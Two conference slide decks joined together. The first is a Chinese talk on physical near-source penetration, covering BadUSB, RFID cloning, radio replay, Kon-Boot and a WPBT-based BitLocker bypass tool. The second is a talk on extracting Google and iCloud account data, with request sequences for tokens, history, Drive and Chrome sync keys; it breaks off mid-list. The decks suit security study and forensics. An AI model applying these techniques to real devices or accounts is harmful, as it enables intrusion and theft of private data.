返璞归真 重识物理安全与近源渗透 返璞归真 重识物理安全与近源渗透 PushEAX CONTENTS 目录 01 02 03 第一章 :近源威胁面分析 第三章 : ANT Tools工具包介绍 第二章 :近源渗透手段 近源威胁面分析 ——虽然只有极少黑客选择在真实世界发起进攻, 但我们面对的威胁远不止与此。 01 谁会选择在现实世界发起攻击? 2007年,网络托管商CI Host的数据中心遭到两名蒙面男子抢劫。 劫匪在持枪劫持了一名IT员工后,盗窃了20台服务器。 黑客攻击(物理) 攻击者通过贿赂内部员工,在厂区内安装无线路由器。利用无线 信号直接连入企业内网,侵入内网中的信息系统。 通过为他人“改机、解锁”手机共9000余部,五个月违法所得 300余万元。 前员工入侵富士康网络:疯狂洗白iPhone获利300万 外部威胁 近源 威胁 高级黑客 / APT组织 / 间谍 服务提供商 / 硬件供应链 盗窃 / 数据取证 内部威胁 恶意的内部人员 因疏忽或无知造成的威胁 案例1:五十年前的键盘记录器 1970年代,苏联为窃取机密,在物 流阶段截取了美国大使馆的打字机, 植入了一个完全由机械结构构造的键 盘记录器。 案例4:数据取证技术 案例3:淘汰设备泄露数据 2019年,某互联网公司淘汰机房交换机时,未 清除设备NVRAM中的配置信息。 泄露了其中的设备登录密码的Hash、内网IP信 息、VLAN信息、BGP和OSPF配置等等。 案例2:震网的攻击源自于间谍带入 的U盘 荷兰情报机构策反了一名伊朗工程师。将带有 病毒的USB闪存驱动器带入了核电站的内部系 统。 案例5:主板内置广告软件 国内外多个笔记本电脑生产厂家,曾被发现在 主板的固件程序中内置广告、驱动管理等软 件。 即使在更换硬盘并重装系统后,在引导过程中 也会被安装特定程序。 近源渗透手段 ——近源渗透不止BadUSB 02 接触时间 短 长 接触难度 低 高 第二类攻击手段: 攻击者所需的接触时间长,或接触难度大。 第一类攻击手段: 攻击者所需的接触时间短, 或接触难度小。 第三类攻击手段: 攻击者在一定时间内可以完全控制目标设备,或 者可以改变其内部硬件或固件。 第一类攻击手段 特点:所需的接触时间短,或接触难度小 攻击者:常见为红队成员、外部黑客 目标:钓鱼攻击、无线设备、裸露的接口 第二类攻击手段 特点:所需的接触时间长,或接触难度大 攻击者:带有良好的条件,常见为企业“内鬼” 目标:计算机终端、服务器KVM等 第三类攻击手段 特点:在一定时间内可以完全控制目标设备,或可以 改变其内部硬件或固件 攻击者:APT组织、恶意的硬件供应商 目标:硬件设备内部组件、设备固件 近源渗透手段 社会工程学 / 钓鱼 第二类近源攻击 攻击无线设备 植入硬件后门 第一类近源攻击 第三类近源攻击 撬锁 攻击计算机终端 数字取证 供应链投毒 终端机 / 裸露接口 一: 社会工程学攻击 身份伪装 1. 伪装为外卖员、快递员 2. 伪装为面试者、维修工 钓鱼 / 水坑攻击 1. 投递BadUSB及类似设备、植入硬件后门 2. 在公共设备上安装后门 信息收集 1. 盗取访问凭证(工牌图案及UID、文档、公章) 2. 废弃文件、设备的收集 二: 攻击无线设备 无线网络 1. 跑包握手包 / WPS Pin爆破 2. 钓鱼热点 RFID类设备 1. ID卡的拷贝、爆破 2. IC卡的破解、拷贝 无线电锁具 1. 无线信号的重放攻击 攻击无线设备——RFID锁具 主要分为ID卡和IC卡 1. ID卡较为古老,但廉价。内部只有一个ID号。 2. IC卡内部有存储器,并且可以加密数据 最广泛使用的是NXP的Mifare系列IC卡 1. 包含1K或4K的存储空间。每张卡有一个UID号 2. 由于存在多个已知漏洞,容易被破解 攻击手段 1. 使用带有NFC功能的手机进行破解 2. 使用PN532进行破解 攻击无线设备——M1卡的破解 结构 1. 含有1K存储空间 2. 分为16个扇区。每个扇区包含两个访问密钥 UID 1. 扇区0的区块0为厂商信息,原则上只读 2. 扇区0的区块0-3为卡片UID 常见安全问题 1. 门禁只校验UID,造成加密失效 2. 使用默认Key或弱Key 攻击无线设备——无线电锁具 使用无线电遥控的锁具 1. 常见于门禁、车库栏杆 2. 也可用于偷电瓶 通过某个频段的无线电进行通讯 1. 常见为315Mhz、433Mhz 2. 开锁时,遥控器会发送一段“码” 攻击手段 1. 针对固定码,可直接重放攻击 2. 针对滚动码,需要破解出码的生成规律 攻击无线设备——HACKCUBE 功能 1. EM41xx卡的读取和模拟 2. 315、433Mhz无线电信号重放、爆破 3. 通过Wi-fi远程进行HID注入 4. 1Ghz以下频段的干扰 HackCube 开源的无线电审计硬件平台 由360 UnicornTeam开发 三: 终端机、裸露接口 终端机的逃逸 1. 双击或长按呼出右键菜单 2. 通过屏幕键盘呼出cmd、Win+D键返回桌面 3. 在网页中存在浏览文件、发送邮件等链接 4. 通过报错,呼出弹窗或使得程序崩溃 5. 可遇不可求的报错或崩溃 6. 直接在设备后面关开关或拔电源线 三: 终端机、裸露接口 终端机利用 1. 安装木马或开启远程桌面等后门 2. 直接在设备上进行内网渗透 3. 在公用电脑上安装键盘记录器等后门 4. 获取网络配置、应用配置等 终端机、物联网设备、网络设备的裸露接口 1. 通过网口直接进行内网渗透 2. 在网口上安装路由器作为网络后门 3. 通过USB等接口向设备植入木马、盗取数据 4. 通过Console口控制设备 5. 通过UART等接口控制设备 Kon-Boot(开机密码绕过) 安装在U盘上。 近源渗透时,通过U盘启动计算机,运 行Kon-boot。 即可使得Windows密码失效。或安装 Shift键后门、添加新账号。 四: 攻击计算机终端 PoisonTap(网关劫持) 安装在树莓派上。 插入USB接口后,会伪装成USB网卡, 劫持计算机的网关。 可以无视锁屏抓取流量、Cookies,进 行缓存投毒。 P4wnP1(USB相关攻击) 安装在树莓派上。 多功能的USB攻击工具。 可以模拟为键盘鼠标、网卡、U盘等设 备。 可以远程进行HID攻击 Windows Lnk代码执行漏洞 安装在U盘上。 当未安装补丁的电脑打开U盘时,即出 发任意代码执行。 常用漏洞: CVE-2020-0729、CVE-2017-8464 WiFiDuck (HID注入或称BadUSB) 硬件设备。 带有Wi-Fi的HID注入设备。 可以通过Wi-Fi操控,执行特定的键盘输 入。 用于下载并执行木马、窃取数据等。 Inception / PCILeech(DMA攻击) 安装在带有FireWire接口的计算机上。 近源渗透时,接入目标计算机的 FireWire或雷电接口。即可直接读写内 存。 可用于植入木马、绕过密码验证等。 五: 硬件后门 输入/输出设备 1. 键盘记录器、HID注入设备 2. 屏幕记录器 网络相关 1. 内网后门 2. 流量监听 固件篡改 1. 盗取访问凭证(工牌图案及UID、文档、公章) 2. 废弃文件、设备的收集 ANT Tools工具包介绍 ——开源且低成本的近源渗透工具包 03 NSA ANT catalog:美国国安局的黑客工具包 2013年,安全专家Jacob Appelbaum曝光了一份 长达50页的NSA机密文档《NSA ANT catalog》, 该文档描述了一系列名目繁杂的高端网络黑客攻击 技术和项目。 据该文档内容显示,相关的网络黑客攻击技术和项 目创建于2008年前后,它们可以认为是为美国国家 安全局下属接入技术行动处(TAO)专门定制研发 的先进网络攻击武器。 Hak5: 商业化的硬件渗透测试工具 ANT Tools:开源的近源渗透工具包 包含一系列的进攻工具和硬件后门设备 目前计划有: • USBAirborne: USB钓鱼设备 • GrabAccess: Windows开机密码和Bitlocker绕过工具 • USBKeylogger:硬件键盘记录器 • Telescreen:硬件屏幕记录器 • RadioRaid:无线安全测试平台 死去的Autorun突然开始攻击我 Autorun 新设备接入后,自动执行某些操作。 例如插入驱动程序光盘时自动运行安装程序。 现代Windows对Autorun的安全限制 1. 只允许DRIVE_FIXED(固定设备)的CD-ROM驱动器 2. 用Autoplay替代Autorun(受害者必须有交互) 利用方法 1. 伪造一个DRIVE_FIXED的CD-ROM驱动器 2. 在其中放入autorun.inf配置文件 最终效果 受害者通过任何方 式打开该U盘 即触发Payload USBAirborne 内置4MB存储空间 通过修改USB DBINQUITY 伪装成DRIVE_FIXED的CD- ROM GrabAccess:WPBT的恶意利用 GrabAccess 绕过Widnows登陆密码、Bitlocker植入木马 Windows Platform Binary Table 1. Windows在引导过程中会检查主板的固件。 如果存在WPBT条目,则会加载其中的Native Application。 2. 该功能无视Windows登陆密码和Bitlocker。 3. 会对Native App校验签名,但可被绕过。 4. 常用于制造商植入防盗软件、驱动程序。 5. 通过修改UEFI引导过程,可以添加WPBT的 ACPI条目。 最终效果 将GrabAccess安装在U盘。 近源渗透时将计算机设置为从U盘启动。 正常开机后即会植入木马,或安装Shift键 后门 杨文韬 @PushEAX 从事信息安全咨询和风险评估工作。 目前致力于近源渗透的理论研究和工具开发。 About Me
pdf
Vladimir  Katalov ElcomSo0  Ltd. www.elcomso0.com What  Google  knows  about  you  and  your devices  (and  how  to  get  it) Academia  Sinica,  Nankang,  Taipei  AUG  28-­‐29,  2015 www.elcomso0.com •  Curiosity •  Privacy •  The  right  to  know •  Government  surveillance •  Forensics •  Backup  and  recovery Research  mo;va;ons What  Google  knows  about  you Page 2 Academia  Sinica,  Nankang,  Taipei  AUG  28-­‐29,  2015 www.elcomso0.com •  Hacking •  Accessing  someone  else’  account •  Compromising  Google •  Criminal  acRviRes •  Profit What  this  presenta;on  is  NOT  about What  Google  knows  about  you Page 3 Most  informa,on  used  for  this  research  is  public Academia  Sinica,  Nankang,  Taipei  AUG  28-­‐29,  2015 www.elcomso0.com Desktop  vs  Mobile  forensics What  Google  knows  about  you Page 4 Academia  Sinica,  Nankang,  Taipei  AUG  28-­‐29,  2015 www.elcomso0.com Smartphone  sales What  Google  knows  about  you Page 5 Source:  Gartner,  August  2015 Academia  Sinica,  Nankang,  Taipei  AUG  28-­‐29,  2015 www.elcomso0.com Enterprise  tablet  market What  Google  knows  about  you Page 6 Source:  Q2’2015  Mobility  Index  Report Academia  Sinica,  Nankang,  Taipei  AUG  28-­‐29,  2015 www.elcomso0.com Apple  iCloud •  Introduced  in  Oct  2011  with  iOS  5 •  OpRonal  upgrade  to  iCloud  Drive  since  iOS  8 •  5  GB  free  storage,  up  to  1  TB  paid  storage •  Extremely  convenient:  over  500  million  users Mobile  vs  Cloud  forensics What  Google  knows  about  you Page 7 Google  mail •  900  million  users  (May’2015) •  Monthly  unique  users:  90  million  (2014) •  Percentage  of  Americans  using  Gmail:  24%  (2013) •  Gmail  app  downloads  from  Google  Play:  1  billion  (2014) •  Percentage  of  Gmail  users  working  on  mobile  device:  75%  (2015) Google  Chrome •  Google  Chrome  users:  1  billion  (2015) •  Percentage  of  web  browser  usage:  35%  (2013) Android •  Number  of  Android  devices:  1  billion  (2013) •  Android  share:  over  80% •  Average  daily  Android  acRvaRons:  1.5  million •  About  25,000  unique  devices Academia  Sinica,  Nankang,  Taipei  AUG  28-­‐29,  2015 www.elcomso0.com What  Apple  Knows  About  You? Page 8 hbps://www.apple.com/privacy/government-­‐informaRon-­‐requests/ •  iCloud •  Subscriber  informaRon •  Mail  logs •  Email  contents •  Photo  streams •  Documents •  Contacts •  Calendars •  Bookmarks •  App-­‐specific  data •  All  files  stored  on  iCloud  Drive •  Device  backups •  Device  registraRon •  Customer  service  records •  iTunes •  Apple  retail  store  transacRons •  Apple  online  store  purchases •  Find  My  iPhone •  Other  device  informaRon •  MAC  address •  UDID What  Google  knows  about  you Academia  Sinica,  Nankang,  Taipei  AUG  28-­‐29,  2015 www.elcomso0.com •  Contacts  and  Contact  Favorites •  Messages  (including  iMessages) •  Call  history •  ApplicaRon  data •  Device  sedngs •  Camera  roll  (photos  and  videos) •  Purchases  (music,  movies,  TV,  apps,  books) •  Mail  accounts •  Network  sedngs  (saved  Wi-­‐Fi  hotspots,  VPN  sedngs  etc) •  Paired  Bluetooth  devices •  Offline  web  applicaRon  cache/database •  Safari  bookmarks,  cookies,  history,  offline  data •  GeolocaRon  history  and  places •  Passwords  (encrypted  with  device  key) •  ...  and  much  more What’s  Inside  an  iCloud  Backup? What  Google  knows  about  you Page 9 +  iCloud  Drive •  More  applicaRon  data •  Passbook  data •  User’s  dicRonaries •  Documents •  1Password  database •  WhatsApp  own  backup Academia  Sinica,  Nankang,  Taipei  AUG  28-­‐29,  2015 www.elcomso0.com We  have: •  Apple  ID  and  password,  or •  PC  or  Mac  synced  with  iCloud  (binary  authenRcaRon  token) Acquisi;on  steps: •  Use  Apple  ID  and  password  to  download  the  backup •  Extract  binary  authenRcaRon  tokens,  use  to  download  backup  or  data Notes: •  Two-­‐factor  authenRcaRon  may  be  an  issue -­‐  Using  binary  authenRcaRon  token  bypasses  2FA •  Keychain  is  encrypted  with  hardware  key -­‐  Can  be  decrypted  if  securityd  key  is  extracted  from  the  device •  Full  data  set  acquisiRon  speed  is  slow -­‐  Can  quickly  download  &  analyze  selected  informaRon,  full  data  set  later •  Account  owner  may  receive  a  noRficaRon  email  in  10  minutes  a0er  download  is  started  (iCloud backup  only) Over-­‐the-­‐Air  Acquisi;on:  iCloud  and  iCloud  Drive What  Google  knows  about  you Page 10 Academia  Sinica,  Nankang,  Taipei  AUG  28-­‐29,  2015 www.elcomso0.com •  Dmitry  Medvedev  (Russian  Prime  Minister)  Twiber  account hacked  (August  2014) hbp://www.theguardian.com/world/2014/aug/14/dmitry-­‐ medvedev-­‐russian-­‐pm-­‐twiber-­‐account-­‐hacked •  Celebrity  photo  hack  (August  2015) hbp://en.wikipedia.org/wiki/2014_celebrity_photo_hack •  Leaked  Emails  Reveal  What  Vladimir  PuRn  Tells  World  Leaders  at Private  Meals  (May  2015) hbp://globalvoicesonline.org/2015/05/08/russia-­‐leaked-­‐emails-­‐ reveal-­‐what-­‐vladimir-­‐puRn-­‐tells-­‐world-­‐leaders-­‐at-­‐private-­‐meals/ Sorry  guys,  see  our  disclaimer  J Most  Known  iCloud  Hacks What  Google  knows  about  you Page 11 Academia  Sinica,  Nankang,  Taipei  AUG  28-­‐29,  2015 www.elcomso0.com §  If  enabled,  2FA  is  enforced  for  iCloud  backups  -­‐  but  not  files  sideloaded  to  iCloud  Drive  -­‐  …and  not  for  iCloud-­‐compaRble  app  data §  Overcoming  2FA  is  easy -­‐  if  the  second  authenRcaRon  factor  is  available §  Bypassing  2FA  is  possible -­‐  if  binary  authenRcaRon  token  is  extracted  from  user’s  PC/ Mac Solu;on:  Two-­‐Step  Verifica;on? What  Google  knows  about  you Page 12 Academia  Sinica,  Nankang,  Taipei  AUG  28-­‐29,  2015 www.elcomso0.com •  AuthenRcaRon  tokens  are  used  for convenience •  Saved  on  a  Mac  or  PC  used  to  access  iCloud •  Allow  users  to  avoid  entering  for  Apple  ID  and password  every  Rme •  Technically,  an  authenRcaRon  token  is  stored in  a  file  on  the  user’s  computer (see  figure) •  LocaRng  the  file  and  extracRng  the  token allows  bypassing  login/password authenRcaRon  and  2FA iCloud  Authen;ca;on  Tokens What  Google  knows  about  you Page 13 •  AuthenRcaRon  tokens  do  not  contain  a  password  to  the  user’s Apple  account •  They  don’t  contain  a  hash  of  the  password  either •  They  cannot  be  used  to  brute-­‐force  the  original  plain-­‐text password What  Authen;ca;on  Tokens Are  Not Academia  Sinica,  Nankang,  Taipei  AUG  28-­‐29,  2015 www.elcomso0.com Android  device  fragmenta;on Page 14 What  Google  knows  about  you Academia  Sinica,  Nankang,  Taipei  AUG  28-­‐29,  2015 www.elcomso0.com Android  brand  fragmenta;on Page 15 What  Google  knows  about  you Academia  Sinica,  Nankang,  Taipei  AUG  28-­‐29,  2015 www.elcomso0.com Android  opera;ng  system  fragmenta;on What  Google  knows  about  you Page 16 Academia  Sinica,  Nankang,  Taipei  AUG  28-­‐29,  2015 www.elcomso0.com •  user’s  data •  all  connected  devices •  devices/browsers  that  requested  access •  applicaRons  that  requested  access •  Google  Ads  sedngs  (age,  interests  etc.) •  contacts •  calendars •  notes •  mails •  albums  (photos/puctures/videos) •  Hangouts  conversaRons •  Chrome •  History •  synced  passwords  and  autofill  data •  bookmarks •  search  history •  YouTube  [search]  history •  a  lot  of  staRsRcal  informaRon Android  to  the  Rescue?  Not  So  Sure What  Google  knows  about  you Page 17 Top  10  Smartphone  Apps (source:  comScore  report,  June  2015) •  Facebook •  YouTube •  Facebook  Messenger •  Google  Search •  Google  Play •  Google  Maps •  Pandora  Radio •  Gmail •  Instagram •  Yahoo  Stocks Academia  Sinica,  Nankang,  Taipei  AUG  28-­‐29,  2015 www.elcomso0.com Google  Sign-­‐On What  Google  knows  about  you Page 18 Academia  Sinica,  Nankang,  Taipei  AUG  28-­‐29,  2015 www.elcomso0.com Google  Security  SeXngs What  Google  knows  about  you Page 19 Academia  Sinica,  Nankang,  Taipei  AUG  28-­‐29,  2015 www.elcomso0.com Recent  security  events  and  used  devices,  apps  connected,  saved  passwords What  Google  knows  about  you Page 20 Academia  Sinica,  Nankang,  Taipei  AUG  28-­‐29,  2015 www.elcomso0.com Google  Takeout What  Google  knows  about  you Page 21 •  Leaves  traces •  No  all  the  data  is  exported •  Limited  flexibility •  Not  convenient  format Academia  Sinica,  Nankang,  Taipei  AUG  28-­‐29,  2015 www.elcomso0.com Google  Dashboard  –  account  ac;vity What  Google  knows  about  you Page 22 Academia  Sinica,  Nankang,  Taipei  AUG  28-­‐29,  2015 www.elcomso0.com Google  Dashboard  –  profile,  connected  devices  &  apps What  Google  knows  about  you Page 23 Academia  Sinica,  Nankang,  Taipei  AUG  28-­‐29,  2015 www.elcomso0.com Google  Dashboard  –  mail What  Google  knows  about  you Page 24 Academia  Sinica,  Nankang,  Taipei  AUG  28-­‐29,  2015 www.elcomso0.com Google  Chrome  Sync What  Google  knows  about  you Page 25 Academia  Sinica,  Nankang,  Taipei  AUG  28-­‐29,  2015 www.elcomso0.com hbps://history.google.com/history/ •  Total  searches •  Searches  by  day •  Top  search  clicks •  Map  search  history •  Voice  search  history •  Info  on  devices •  LocaRon  history What  is  saved: •  Searches  in  all  Google  services •  Browser  or  mobile  applicaRon •  AcRons  for  search  results  (opened  or  not) •  AcRons  on  Ads  (clicks/purchases) •  IP  address •  Browser  informaRon Google  Takeout  does  NOT  work  with  history Google  Chrome:  search  &  browsing  history What  Google  knows  about  you Page 26 Academia  Sinica,  Nankang,  Taipei  AUG  28-­‐29,  2015 www.elcomso0.com Android  device  backups What  Google  knows  about  you Page 27 •  Google  Calendar  sedngs •  Wi-­‐Fi  networks  &  password •  Home  screen  wallpapers •  Gmail  sedngs •  Apps  installed  through  Google  Play •  Display  sedngs •  Language  &  Input  sedngs •  Date  &  Time •  3rd  party  app  sedngs  &  data Academia  Sinica,  Nankang,  Taipei  AUG  28-­‐29,  2015 www.elcomso0.com Google  Photos  (aka  PicasaWeb,  aka  Google+  Photos) What  Google  knows  about  you Page 28 •  Albums/events •  Commants •  Geo  tags •  SubscripRons •  View  counters •  People Academia  Sinica,  Nankang,  Taipei  AUG  28-­‐29,  2015 www.elcomso0.com Android  device  backups  -­‐  downloading What  Google  knows  about  you Page 29 IBackupTransport  (com.android.internal.backup  in  GoogleBackupTransport.apk) No  source  code  provided;  works  with  hPps://android.googleapis.com/backup Authen;ca;on:  h\ps://android.clients.google.com/auth •  Get  refresh  token  (input:  email,  password) •  Get  authenRcaRon  token  (input:  refresh  token) Get  info  on  backups  available:  h\ps://android.googleapis.com/backup •  Input:  android_id,  authenRcaRon  token) •  Output  (array) •  Android_id •  Backup  creaRon  date/Rme •  Date/Rme  of  device  registraRon  on  account •  Device  name  or  model •  SDK  version •  Last  acRvity  date/Rme Download  backup:  h\ps://android.clients.google.com/backup •  Input:  android_id,  package  to  restore  (download),  Auth •  Output  (array  of  strings): •  pm  (general  info  on  applicaRons) •  android  (wallpaper:  xml  +  picture) •  com.android.nfc •  com.android.providers.sedngs  (including  Wi-­‐Fi  passwords!) •  com.android.vending •  com.google.android.talk •  com.google.android.googlequicksearchbox •  com.google.android.calendar •  com.google.android.inputmethod.laRn •  com.google.android.gm Android  M •  Get  system  backup  (@pm@):  hbps://android.clients.google.com/googlefood/backup •  Get  backups  on  parRcular  apps:  returns  package  name,  download  URL  (on  Google  Drive) •  AuthenRcate  on  Google  Drive:  hbps://android.clients.google.com/auth New  auto-­‐backups  for  applica,on  data;  stored  on  Google  Drive  as  .tar  archives Academia  Sinica,  Nankang,  Taipei  AUG  28-­‐29,  2015 www.elcomso0.com Google  Hangouts What  Google  knows  about  you Page 30 h\ps://accounts.google.com/ServiceLogin?hl=en-­‐US&Email={email} Set-­‐Cookie:  GAPS=1:iv-­‐YjJ,lF-­‐coJ0RpCZhlmMBj97IRA:RKppYacKUG4PUMNX Set-­‐Cookie:  GALX=mItW3iafLoo;Path=/;Secure h\ps://accounts.google.com/ServiceLoginAuth  HTTP/1.1 Cookie:  GoogleAccountsLocale_session=en;  GAPS=[…];  GALX=[…]&Email={email}&Passwd={password} Set-­‐Cookie:  NID=[...]  SetCookie:  SID=[...]  Set-­‐Cookie:  LSID=[...] Set-­‐Cookie:  HSID=[...]  Set-­‐Cookie:  SSID=[...]  Set-­‐Cookie:  APISID=[...]  Set-­‐Cookie:  SAPISID=[...] GET  h\ps://talkgadget.google.com/u/0/talkgadget/_/chat?{parameters} Cookie:  NID=[...];  HSID=[...];  SSID=[...];  SID=[...];  APISID=[...];  SAPISID=[...] Set-­‐Cookie:  S=talkgadget=VlFAZCxwB-­‐G_h53WWt_g6Q To  get  conversaRon  (dialog): h\ps://clients6.google.com/chat/v1/conversa;ons/getconversa;on?alt=protojson&key=API_KEY Cookie:  NID=[...]; HSID=[...];  SSID=[...];  SID=[...]; APISID=[...];  [...] AuthorizaRon:SAPISIDHASH  {hash} (SAPISIDHASH:  SHA-­‐1(Rmestamp+SAPISID+URL) •  Dialog  data  (id,  inviteTime,  acRvatedTime) •  ParRcipants'  data  (id,  name,  avatarUrl) •  Events  (Message,  AddUser,  RemoveUser,  SentPhoto,  VideoCall,  LocaRon) •  Date/Rme •  Info  on  video  call:  date/Rme  (start+end) •  Text •  LocaRons  (address,  mapUrl,  laRtude,  longRtude) •  Picture  (photoUrl,  width,  height,  album_name) Academia  Sinica,  Nankang,  Taipei  AUG  28-­‐29,  2015 www.elcomso0.com POST  hbps://history.google.com/history/?jspb=1&max=1435697999999999  HTTP/1.1 max=1435697999999999  (in  milliseconds  since  01.01.1970) Headers:  Accept:  */*  Accept-­‐Language:  ru,en-­‐US;q=0.8,en;q=0.6  ConnecRon:  keep-­‐alive  Host:  history.google.com  Cookie:  cookie  (obtained  a0er  auth-­‐n,  includes  auth.  token) To  get  results  in  English,  add  to  the  Cookie:  PREF=ID=1111111111111111:FF=0:LD=en; YouTube  watch  history hbps://history.google.com/history/youtube/watch?jspb=1&max=1394034083520660 Or Use  YouTube  API hbps://developers.google.com/youtube/v3/docs/ YouTube  search  history hbps://history.google.com/history/youtube/search?jspb=1&max=1422545631282456 Obtaining  Google  Chrome  history What  Google  knows  about  you Page 31 Academia  Sinica,  Nankang,  Taipei  AUG  28-­‐29,  2015 www.elcomso0.com AuthenRcate: hbps://www.googleapis.com/auth/drive Get  file  list: GET  hbps://www.googleapis.com/drive/v2/files?key={YOUR_API_KEY} (pretend  to  be  Chromium) Returns: •  Download  URL •  ID •  Parent  ID •  If  “Shared  with  me” •  Owner •  Access  rights •  File  name •  File  size •  DescripRon •  ProperRes Google  Drive What  Google  knows  about  you Page 32 Detailed  ‘list’  request: GET  hbps://www.googleapis.com/drive/v2/files? maxResults={MAX_RESULT}&pageToken={PAGE_TOKEN}&fields={FIELDS}&key={YOUR_API_KEY} {PAGE_TOKEN}  –  page  token {MAX_RESULT}  number  of  files  in  response {FIELDS}  fields  to  return To  get  info  on  parRcular  file,  set  its  ID  in  the  request,  provide  parameters: hbps://developers.google.com/drive/v2/reference/files/get Get  file  meta  data: GET  hbps://www.googleapis.com/drive/v2/files/fileID?key={YOUR_API_KEY} Download  file: GET  hbps://www.googleapis.com/drive/v2/files/fileID?alt=media Search  by  file  owner: hbps://www.googleapis.com/drive/v2/files?q=not+'{your_email_address}'+in+owners hbps://www.googleapis.com/drive/v2/files?q='{your_email_address}'+in+owners Academia  Sinica,  Nankang,  Taipei  AUG  28-­‐29,  2015 www.elcomso0.com Picasa  Web  Albums  Data  API (use  Oauth2  to  get  token) hbps://developers.google.com/picasa-­‐web/docs/2.0/developers_guide_protocol Get  albums  list: GET  hbps://picasaweb.google.com/data/feed/api/user/{userId} (userId  =  default  to  get  own  photos;  AuthorizaRon:  token) Get  own  album(s): GET  hbps://picasaweb.google.com/data/feed/api/user/{USER_ID}/albumid/{ALBUM_ID}?kind=photo&[..] (returns  full  properRes  of  every  album) Get  circles: POST  hbps://clients6.google.com/rpc/plusi?key=[..] (returns  circles,  friends:  email,  contactId,  obfuscatedGaiaId,  displayName) GET  hbps://picasaweb.google.com/data/feed/api/user/{USER_ID}/albumid/{ALBUM_ID}?kind=comment&[..] Returns: •  gphoto:id  (own  id) •  gphoto:photoid •  authorId •  published •  updated •  Rtle •  content Google  Photos What  Google  knows  about  you Page 33 Academia  Sinica,  Nankang,  Taipei  AUG  28-­‐29,  2015 www.elcomso0.com Google  Chrome:  passwords What  Google  knows  about  you Page 34 message  PasswordSpecificsData  {  opRonal  int32  scheme  =  1;  opRonal  string  signon_realm  =  2;  opRonal  string  origin  =  3;  opRonal  string  acRon  =  4;  opRonal  string  username_element  =  5;  opRonal  string  username_value  =  6;  opRonal  string  password_element  =  7;  opRonal  string  password_value  =  8;  opRonal  bool  ssl_valid  =  9;  opRonal  bool  preferred  =  10;  opRonal  int64  date_created  =  11;  opRonal  bool  blacklisted  =  12;  opRonal  int32  type  =  13;  opRonal  int32  Rmes_used  =  14; } message  PasswordSpecifics  {  opRonal  EncryptedData  encrypted  =  1;  opRonal  PasswordSpecificsData  client_only_encrypted_data  =  2; } Obtaining  master  encryp;on  keys Chrome  sync hbps://clients4.google.com/chrome-­‐sync/command/?client=Chromium&client_id=[...] (body:protobuf  with  GetUpdatesMessage(need_encrypRon_key=true) response:  GetUpdatesResponse  with  entries  &  encrypRon  key Get  master  encryp,on  keys Key=pbkdf2_sha1(base64(encrypRon_key)+"saltsalt",1003) MacKey=pbkdf2_sha1(base64(encrypRon_key)+"saltsalt",1004) The  keys  can  be  addi;onally  encrypted  using  the  passphrase  (on  the  client  side) Academia  Sinica,  Nankang,  Taipei  AUG  28-­‐29,  2015 www.elcomso0.com Google  Dashboard:  stats  we  can  get What  Google  knows  about  you Page 35 Account •  email •  number  of  Google  API  clients  (sites  and  apps) •  account  Rme:  personal,  work,  both •  AcRviRes  in  last  28  days •  browsers  and  OSs  that  had  access •  locaRons •  new  apps  and  sites Android •  manufacturer,  model •  first  authorizaRon  date/Rme •  last  acRvity  date/Rme •  apps  that  backups  their  data  (name,  date,  size) YouTube •  number  of  videos  and  playlists  loaded •  user  name •  sex •  last  video  raRng  (+video  name  and  date) •  acRviRes  for  last  28  days •  number  of  views,  by  day •  total  views •  searches •  likes  and  dislikes Profile  info •  Google+  name •  profile  URL •  number  of  phone  numbers •  number  of  "+1" Search  history  (query+date) •  last  Web  search •  last  image  search •  last  news  search •  last  video  search •  last  maps  search •  last  books  search •  acRviRes  for  last  28  days •  top  10  searches •  percentage  of  searches  by  category  (web,  image  etc) •  acRvity  (by  day) Google  Sync.  (non-­‐Android  devices) •  number  of  bookmarks •  last  sync  date •  number  of  passwords •  number  of  Chrome  extensions •  other Gmail •  number  of  mail  threads •  last  thread  subject •  number  of  messages  in  inbox •  last  incoming  message  subject •  number  of  sent  mails •  last  sent  mail  subject Academia  Sinica,  Nankang,  Taipei  AUG  28-­‐29,  2015 www.elcomso0.com Google  Authen;ca;on  –  the  easy  way  (Oauth  2.0) What  Google  knows  about  you Page 36 Academia  Sinica,  Nankang,  Taipei  AUG  28-­‐29,  2015 www.elcomso0.com Authen;ca;on:  w/o  browser What  Google  knows  about  you Page 37 get  loginCookies hbps://accounts.google.com/ServiceLogin?hl=en-­‐US&Email=<login> Set-­‐Cookie:  GAPS=1:Y5AaGrgj-­‐_VQrcWkpM6f75T6H8A:B2wnWWUI2DKLUWCd Set-­‐Cookie:  GALX=EmxneFPdphD;Path=/;Secure get  client_id POST  hbps://accounts.google.com/ServiceLoginAuth Cookie:  GALX=[…] Set-­‐Cookie:  NID=[...] Set-­‐Cookie:  SID=[...] … get  refresh_token  (by  client_id,  then  by  client_secret  и  oauth_code) hbps://accounts.google.com/o/oauth2/programmaRc_auth?authuser=0 Set-­‐Cookie:  oauth_code=4/5xOmk7KEXG70-­‐3cYAju66pp8sx1U4FyCIRWI_J1zQ hbps://accounts.google.com/o/oauth2/token {  "access_token"  :  "ya29.yAHuL5lPQW63Yn90hVETqe95ueyM8SpoqhyqPmy-­‐hTywd4chkANfQTt0VNeTBMQhrkw",  "refresh_token"  :  "1/slXyWGQPs1IVI7t-­‐VC3_VKWSWUYJONt1Ue8tRG-­‐pc" } get  access_token hbps://accounts.google.com/o/oauth2/token  HTTP/1.1 client_id=[...]&client_secret=[...]&grant_type=refresh_token&refresh_token=[...]&scope=[…] Calendar hbps://www.googleapis.com/auth/calendar.readonly Contacts hbps://www.googleapis.com/auth/contacts.readonly User  info hbps://www.googleapis.com/auth/userinfo.profile Chrome  data hbps://www.googleapis.com/auth/chromesync Photos hbps://picasaweb.google.com/data/ Google  drive hbps://www.googleapis.com/auth/drive Academia  Sinica,  Nankang,  Taipei  AUG  28-­‐29,  2015 www.elcomso0.com •  Phishing •  Brute-­‐force  abacks •  “Reverse”  brute-­‐force  abacks •  Password  reset/recovery •  Key  loggers •  Fake  AP •  Network  sniffing •  Social  engineering •  Passwords  re-­‐use How  Hackers  Get  Passwords What  Google  knows  about  you Page 38 Academia  Sinica,  Nankang,  Taipei  AUG  28-­‐29,  2015 www.elcomso0.com •  Same  way  as  hackers •  Surveillance •  From  suspect’s  PC  or  Mac •  Direct  access  to  cloud  storage •  Just  ask  J How  LE  Get  Passwords What  Google  knows  about  you Page 39 Academia  Sinica,  Nankang,  Taipei  AUG  28-­‐29,  2015 www.elcomso0.com •  Do  not  use  clouds* •  Do  not  keep  sensiRve  informaRon  on smartphone* •  Use  3rd  party  encrypRon  apps** •  Avoid  phishing •  Think  of  physical  security •  Use  a  strong  password •  Change  the  